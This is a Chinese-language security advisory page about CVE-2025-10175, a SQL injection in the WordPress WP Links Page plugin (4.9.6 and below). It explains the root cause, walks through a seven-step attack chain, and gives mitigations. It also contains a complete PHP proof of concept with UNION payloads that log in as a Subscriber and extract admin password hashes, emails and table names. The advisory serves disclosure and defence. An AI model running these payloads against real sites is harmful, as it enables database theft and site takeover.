IPBUF安全漏洞报告
English
CVE-2025-10175 CVSS 6.5 中危

CVE-2025-10175:WP Links Page插件SQL注入漏洞

披露日期: 2025-10-11

漏洞信息

漏洞编号
CVE-2025-10175
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress WP Links Page插件

相关标签

SQL注入WordPressWP Links Page插件漏洞CVE-2025-10175中危漏洞认证漏洞数据库安全信息泄露

漏洞概述

CVE-2025-10175是WordPress WP Links Page插件中存在的一个SQL注入漏洞。该漏洞由Wordfence安全团队的安全研究员发现并报告,于2025年10月11日正式公开披露。根据CVSS 3.1评分体系,该漏洞评分为6.5分,属于中危级别。

WP Links Page是一款用于在WordPress网站上创建和管理链接页面的插件,允许用户展示社交媒体链接或其他外部链接。该插件在所有4.9.6及以下版本中存在严重的安全缺陷,具体表现为对用户通过'id'参数传入的数据缺乏充分的转义处理,同时在构建SQL查询时未使用适当的预处理语句(如Prepared Statements)或参数化查询,导致攻击者可以在原有SQL查询的基础上注入额外的恶意SQL语句。

该漏洞的攻击条件相对较低,仅需要攻击者拥有Subscriber级别的WordPress账户权限即可发起攻击。Subscriber是WordPress中最低权限级别的用户角色,通常任何注册用户都会自动获得该权限。这意味着任何允许用户注册的WordPress网站都面临被攻击的风险。攻击成功后,攻击者可以从数据库中提取敏感信息,如用户密码哈希、个人身份信息、站点配置数据等,但不会对数据库的完整性和可用性造成直接影响。

技术细节

该漏洞的根因在于WP Links Page插件在处理包含'id'参数的请求时,未对用户输入进行充分的过滤和转义,也未使用WordPress推荐的$wpdb->prepare()方法或预编译语句来构建SQL查询,而是直接将用户输入拼接到SQL查询字符串中。

从技术层面分析,攻击者可以通过构造恶意的'id'参数值,在正常的SQL查询中注入额外的SQL片段。例如,当插件执行类似"SELECT * FROM wp_links WHERE id = $id"这样的查询时,攻击者可以传入类似"1 UNION SELECT user_pass FROM wp_users--"的payload,使最终执行的SQL变为"SELECT * FROM wp_links WHERE id = 1 UNION SELECT user_pass FROM wp_users--",从而实现跨表查询,窃取管理员密码哈希等敏感数据。

利用条件方面,攻击者需要具备Subscriber级别及以上权限(PR:L),这意味着攻击者必须先注册一个普通账户。由于WordPress默认支持用户注册(除非管理员关闭了注册功能),这一门槛相对较低。攻击完全通过网络进行(AV:N),无需用户交互(UI:N),攻击复杂度低(AC:L)。

漏洞的影响范围限定为机密性泄露(C:H),即攻击者可以读取数据库中的敏感数据,但无法修改(I:N)或删除(A:N)数据。漏洞已在4.9.7版本中通过引入适当的输入验证和参数化查询得到修复。

攻击链分析

STEP 1
步骤1:侦察目标
攻击者首先扫描目标WordPress网站,识别是否安装了WP Links Page插件及其版本号。可通过查看/wp-content/plugins/wp-links-page/readme.txt或访问插件相关页面来确认。
STEP 2
步骤2:注册Subscriber账户
如果目标网站开放用户注册(WordPress默认设置),攻击者注册一个普通Subscriber级别账户。如注册关闭,则需通过其他途径(如社工、购买凭证等)获取Subscriber级别权限。
STEP 3
步骤3:登录WordPress后台
使用Subscriber账户凭证登录WordPress后台,获取有效的认证Cookie和会话权限。
STEP 4
步骤4:构造SQL注入Payload
针对存在漏洞的'id'参数,构造UNION-based SQL注入Payload,例如:1 UNION SELECT user_pass FROM wp_users WHERE ID=1-- -
STEP 5
步骤5:发送恶意请求
通过认证后的会话向/wp-admin/admin.php页面发送包含恶意'id'参数的请求,触发SQL注入漏洞。
STEP 6
步骤6:提取敏感数据
从服务器响应中解析提取的数据库信息,包括管理员密码哈希、用户邮箱、数据库结构等敏感数据。
STEP 7
步骤7:进一步利用
利用获取的管理员密码哈希进行离线破解,或结合其他漏洞实现权限提升,最终完全控制目标WordPress网站。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php /** * CVE-2025-10175 - WP Links Page Plugin SQL Injection PoC * Vulnerability: SQL Injection via 'id' parameter * Affected: WP Links Page <= 4.9.6 * Required: Subscriber-level WordPress account */ // Configuration $target_url = 'https://target-wordpress-site.com'; $cookie_file = '/tmp/wp_cookies.txt'; $attacker_id = 'attacker_user'; $attacker_pass = 'AttackerPass123!'; // Step 1: Login as Subscriber-level user and save cookies $login_url = $target_url . '/wp-login.php'; $post_fields = http_build_query([ 'log' => $attacker_id, 'pwd' => $attacker_pass, 'wp-submit' => 'Log In', 'redirect_to'=> $target_url . '/wp-admin/', 'testcookie' => '1' ]); $ch = curl_init($login_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $login_response = curl_exec($ch); curl_close($ch); echo "[*] Logged in as Subscriber user\n"; // Step 2: Craft SQL injection payload targeting 'id' parameter // The vulnerable endpoint processes the 'id' parameter without proper escaping $payload = "1 UNION SELECT user_pass FROM wp_users WHERE ID=1-- -"; $encoded_payload = urlencode($payload); // Step 3: Send the malicious request to extract admin password hash $vuln_url = $target_url . '/wp-admin/admin.php?page=wp-links-page&id=' . $encoded_payload; $ch = curl_init($vuln_url); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "[*] HTTP Status: $http_code\n"; echo "[*] Response:\n$response\n"; // Step 4: Extract database information using UNION-based injection // Example payloads for different data extraction: $payloads = [ "Extract admin hash" => "1 UNION SELECT user_pass FROM wp_users WHERE ID=1-- -", "Extract admin email" => "1 UNION SELECT user_email FROM wp_users WHERE ID=1-- -", "Extract DB version" => "1 UNION SELECT version()-- -", "Extract table names" => "1 UNION SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()-- -" ]; foreach ($payloads as $desc => $sql) { $url = $target_url . '/wp-admin/admin.php?page=wp-links-page&id=' . urlencode($sql); $ch = curl_init($url); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $result = curl_exec($ch); curl_close($ch); echo "[*] $desc: " . strip_tags($result) . "\n"; } ?>

影响范围

WP Links Page <= 4.9.6

防御指南

临时缓解措施
在无法立即升级插件的紧急情况下,建议采取以下临时缓解措施:1)通过WordPress后台禁用WP Links Page插件;2)关闭网站的用户注册功能,防止攻击者获取Subscriber级别账户;3)部署Web应用防火墙(WAF)规则,拦截包含UNION、SELECT等SQL关键字的异常请求;4)审查现有Subscriber账户,禁用可疑账户;5)监控数据库查询日志,检测是否存在异常SQL查询行为;6)限制/wp-admin/目录的访问IP范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表